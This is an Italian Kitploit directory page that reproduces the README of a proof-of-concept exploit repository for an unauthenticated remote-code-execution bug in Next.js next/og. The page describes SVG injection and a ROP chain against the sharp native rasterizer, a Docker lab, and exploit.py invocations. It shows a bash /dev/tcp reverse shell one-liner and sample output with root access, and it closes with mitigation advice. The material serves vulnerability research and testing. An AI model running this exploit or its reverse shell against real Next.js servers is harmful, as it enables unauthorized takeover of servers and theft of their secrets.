Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-94545 — Proof-of-concept di exploit per CVE-2026-94545, un RCE non autenticato in Next.js next/og tramite iniezione SVG e una catena ROP contro il rasterizzatore nativo sharp. | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2026-94545
Analisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebStrumento di Accesso RemotoSviluppo Payload
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

Proof-of-concept di exploit per CVE-2026-94545, un RCE non autenticato in Next.js next/og tramite iniezione SVG e una catena ROP contro il rasterizzatore nativo sharp.

Vedi Repository
9361 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-94545 Next.js next/og RCE non autenticata

★ CVE-2026-94545 Next.js next/og iniezione SVG verso RCE nativa ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


Panoramica

next/og costruisce immagini Open Graph renderizzando JSX in un SVG con Satori e poi rasterizzando quell'SVG. Satori scrive il testo fornito dall'utente nell'SVG senza effettuarne l'escaping (CWE-116), quindi una richiesta può chiudere l'elemento circostante e iniettare il proprio markup SVG. Quando la route viene eseguita sul runtime Node.js con sharp installato, quell'SVG viene rasterizzato da librerie native (libvips, librsvg, libxml2) anziché dal renderer wasm in sandbox. Un payload costruito da un riferimento XInclude e entità DTD annidate corrompe la memoria all'interno di quel parser nativo. Il binario ufficiale di Node.js è non-PIE, quindi il suo codice e la GOT non sono randomizzati e una catena ROP fissa raggiunge execve senza alcuna fuga di indirizzi. Una singola richiesta non autenticata a una route di immagini OG è sufficiente per eseguire comandi come processo del server.


Versioni interessate

CategoriaVersione
VulnerabileNext.js 16.2.0 – 16.3.5 (runtime Node, sharp presente), Satori >=0.0.27 <0.33.5
CorrettaNext.js 16.3.6 / Satori 0.33.5 o successiva

È interessato solo il percorso del runtime Node.js. Con export const runtime = 'edge', o un'installazione senza sharp, l'immagine viene disegnata dal renderer resvg-wasm in sandbox e il bug non porta all'esecuzione di codice.


Impatto

  • Esecuzione di codice non autenticata come processo del server Next.js. Qualsiasi route che passa dati della richiesta a ImageResponse è un sink.
  • L'exploit è cieco. Un execve riuscito sostituisce il worker, quindi la richiesta HTTP si chiude semplicemente e il risultato deve tornare per un'altra via, come una reverse shell o un comando che effettua una chiamata a casa.
  • Il payload è stabile. Poiché il binario di Node è non-PIE, gli indirizzi dei gadget sono gli stessi su ogni host e a ogni riavvio per una data build di Node, quindi non è necessaria alcuna fuga di indirizzi o bruteforce per target.
  • Un colpo riuscito manda in crash il worker. Il processo node viene sostituito dal comando iniettato, quindi il server smette di rispondere finché non viene riavviato.

Ambiente

Una app Next.js minimale che riproduce la configurazione vulnerabile. La route in /api/og renderizza un ImageResponse sul runtime Node, e sharp è installato così viene usato il rasterizzatore nativo. L'immagine fissa l'esatto stack da cui dipende la catena ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 con libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La prima build scarica Node, installa le dipendenze npm ed esegue next build, il che richiede qualche minuto.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
PrecondizioneStato in questo lab
Next.js 16.2.0 – 16.3.5 sul runtime NodeNext 16.3.5, runtime = 'nodejs'
sharp installato, così viene usato il percorso nativo librsvg/libxml2sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Binario Node non-PIE per una base ROP stabileNode ufficiale v24.20.0 linux-x64 (verificato tramite SHA)
Route immagine OG raggiungibile senza autenticazioneGET e POST /api/og, il testo della richiesta finisce in un <title> SVG
Percorso in uscita disponibile per una reverse shellbash e /dev/tcp sono presenti

PoC

La route vulnerabile è POST /api/og. Prende il corpo della richiesta e lo colloca in un <title> SVG prima della rasterizzazione. exploit.py costruisce quell'SVG per un comando scelto, codifica la catena ROP in un <path>, e lo invia alla route.

L'esecuzione più semplice apre una reverse shell. Fornisci il target e un indirizzo di ascolto; avvia nc per te, lancia la richiesta e ti consegna la shell.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

Il payload è calibrato sullo stack elencato in Ambiente, quindi eseguilo contro questa immagine o un host con la stessa build di Node e sharp. Un colpo riuscito sostituisce il processo node con il tuo comando, il che significa che la richiesta HTTP si chiude e il servizio smette di rispondere finché il container non viene riavviato.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

La reverse shell viene eseguita come processo del server, il che conferma l'esecuzione di codice da una singola richiesta non autenticata. Per eseguire un singolo comando senza un listener, passalo direttamente; nota che l'output non ritorna via HTTP, quindi il comando deve inviare fuori banda qualsiasi cosa tu voglia vedere.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Mitigazione

  • Aggiorna a Next.js 16.3.6 / Satori 0.33.5 o successivo, che effettua l'escaping del testo SVG quando viene serializzato e chiude l'iniezione.
  • Se non puoi ancora aggiornare, sposta le route next/og su export const runtime = 'edge' così viene usato il renderer wasm in sandbox, oppure rimuovi sharp così il percorso nativo non viene raggiunto, e tieni input utente non sanificato fuori dai figli di ImageResponse.
  • Metti le route delle immagini OG dietro autenticazione o una allowlist, e limita il traffico in uscita del server per rendere più difficile l'esfiltrazione cieca.
  • Dopo il patching, considera compromessa un'istanza raggiungibile da internet: ruota qualsiasi segreto che il processo dell'app poteva leggere e verifica la presenza di meccanismi di persistenza.

Analisi

  • KR:
  • EN:
Scarica lo strumento